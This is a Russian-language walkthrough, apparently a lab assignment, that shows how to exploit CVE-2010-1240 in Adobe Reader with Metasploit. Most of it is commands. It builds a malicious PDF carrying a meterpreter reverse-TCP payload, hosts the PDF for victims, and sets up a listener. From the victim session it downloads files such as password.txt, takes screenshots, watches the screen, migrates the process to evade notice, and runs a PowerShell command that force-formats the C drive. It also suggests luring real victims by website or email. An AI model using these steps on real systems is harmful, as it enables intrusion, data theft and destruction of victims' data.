jasmoon99/embedded-pdfЭто демонстрационное видео показывает, как можно управлять устройством жертвы, отправив невинно выглядящий PDF-файл цели, который на самом деле содержит встроенную полезную нагрузку. Эксплойт был опубликован как CVE-2010-1240.
предоставлено
В этом демонстрационном видео показано, как мы можем управлять устройством жертвы, отправив ей безобидный на вид PDF-файл, который на самом деле содержит встроенную полезную нагрузку. Эксплойт был опубликован как CVE-2010-1240.
Как только PDF открывается в Adobe Reader, пользователи, которых мы обманом заставляем согласиться на всплывающие окна безопасности, позволят нам получить сеанс meterpreter, подключенный к их устройствам через обратное TCP-соединение. До этого момента все их данные и то, что они делают сейчас, находятся под нашим наблюдением.
Сначала запускаем MSFconsole, которая предоставляет интерфейс командной строки для доступа к фреймворку Metasploit.
msfconsole
Затем ищем эксплойт, соответствующий нашей целевой платформе Windows и Adobe PDF Reader, который покажет весь список эксплойтов, которые можно использовать для взлома Windows-машины жертвы и эксплуатации уязвимостей Adobe PDF Reader.
search type:exploit platform:windows adobe pdf
В этой эксплуатации мы выбираем и используем модуль "adobe_pdf_embedded_exe" с помощью команды ниже, чтобы добиться цели взлома жертвы.
use exploit/windows/fileformat/adobe_pdf_embedded_exe
Также мы можем проверить информацию об эксплойте с помощью команды "info", как показано ниже:
info
Затем устанавливаем полезную нагрузку для использования обратного TCP-соединения. Также используем Meterpreter, который предоставляет интерактивную оболочку, позволяющую нам легко использовать всевозможные функции путем вставки и выполнения кода для изучения машины жертвы.
set payload windows/meterpreter/reverse_tcp
Затем настраиваем хост и порт для прослушивания. Для LHOST нужно указать IP-адрес машины атакующего, в данном случае IP-адрес нашей Kali-машины (10.0.2.4)*.
*примечание*
Что касается LPORT, то мы сами выбираем номер порта, который не является часто используемым.
# to check Kali machine’s IP address
ifconfig
set LHOST *10.0.2.4*
set LPORT 5665
Затем задаем входной файл для основы PDF с флагом INFILENAME*. Далее устанавливаем имя файла, которое привлечет интерес жертвы, чтобы она открыла вредоносный PDF-файл.
*примечание*
set INFILENAME '/home/kali/Documents/WIC3004Assignment.pdf'
set FILENAME 'Bawang_Ranger_WIC3004Report.pdf'
Мы можем снова просмотреть наши опции перед вводом команды "exploit" для генерации полезной нагрузки вместе с PDF.
# Then we can show the info or options by
show info | show options
exploit
После того как мы сгенерировали PDF-файл, перемещаем его в /var/www/html — каталог нашей Kali-машины для размещения веб-сервера, чтобы жертва могла позже скачать PDF-файл.
Примечание:
sudo mv /home/kali/.msf4/local/Bawang_Ranger_WIC3004Report.pdf /var/www/html
Затем для настройки нашего слушателя используем "exploit/multi/handler". Снова задаем полезную нагрузку, LHOST, LPORT в соответствии с тем, что мы определили при генерации вредоносного PDF-файла. Затем запускаем полезную нагрузку.
Примечание:
show info или show options — необязательная команда для выполнения.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.2.4
set LPORT 5665
[show info | show options]
run
В другом терминале проверяем статус сервера Apache, чтобы убедиться, что он запущен для размещения нашего PDF-файла в /var/www/html, чтобы жертва могла его скачать.
service apache2 status
# If it is inactive, start the service
service apache2 start
На машине с Windows откройте любой браузер, например Chrome, и введите IP-адрес нашей Kali (10.0.2.4)* для доступа к веб-серверу Kali-машины.
*Примечание: Обратите внимание на IP-адрес вашей собственной Kali-машины
Затем имитируйте сохранение предполагаемого PDF-файла пользователем.
Как только жертва откроет файл в Adobe Reader 8.1.2, приняв всплывающие сообщения безопасности, мы увидим на нашей Kali-машине, что появилась новая сессия, подключенная через обратное TCP-соединение.
В реальном сценарии мы создадим веб-сайт с PDF-файлом, содержащим полезную нагрузку, чтобы жертва могла скачать его или прикрепить по электронной почте.
Затем мы можем удаленно получить доступ к машине жертвы и выполнять дальнейшие вредоносные действия по нашему желанию в сеансе meterpreter.
help
pwd
ls
Например, есть файл с именем password.txt, мы можем выполнить команду download password.txt
download [folder name | filename with extension]
Конечно, мы можем написать вредоносный скрипт (внедрить бэкдор), чтобы сохранить подключение к Windows-машине, если мы действительно злые! 💀
# Boot command prompt at background
execute -f cmd.exe -H -i
# Create file on Windows
echo "You have been hacked" > hack.txt
#open the txt file we have just created
hack.txt
# Take screenshot
screenshot
# Watch the remote user in real time
screenshare
Однако атакующий может уменьшить подозрения путем миграции процесса meterpreter в другой с помощью модуля migrate в сеансе meterpreter.
meterpreter> run post/windows/manage/migrate
Здесь он автоматически запустит новый процесс на машине жертвы, в который мигрирует. Жертва затем сможет удалить зараженный PDF-файл, совершенно не подозревая, что процесс уже переместился в другое место.
Атакующий может дальше создать вредоносный скрипт на целевой машине с помощью командной строки (cmd) или PowerShell, который может вывести из строя всю операционную систему.
meterpreter> shell
# Start the Windows PowerShell
powershell
#Powershell command to forcefully format the C drive clean.
New-Partition -DiskNumber 1 -UseMaximumSize -AssignDriveLetter C| Format-Volume -DriveLetter C -FileSystemLabel "New"-FileSystem NTFS -Full -Force -Confirm:$false
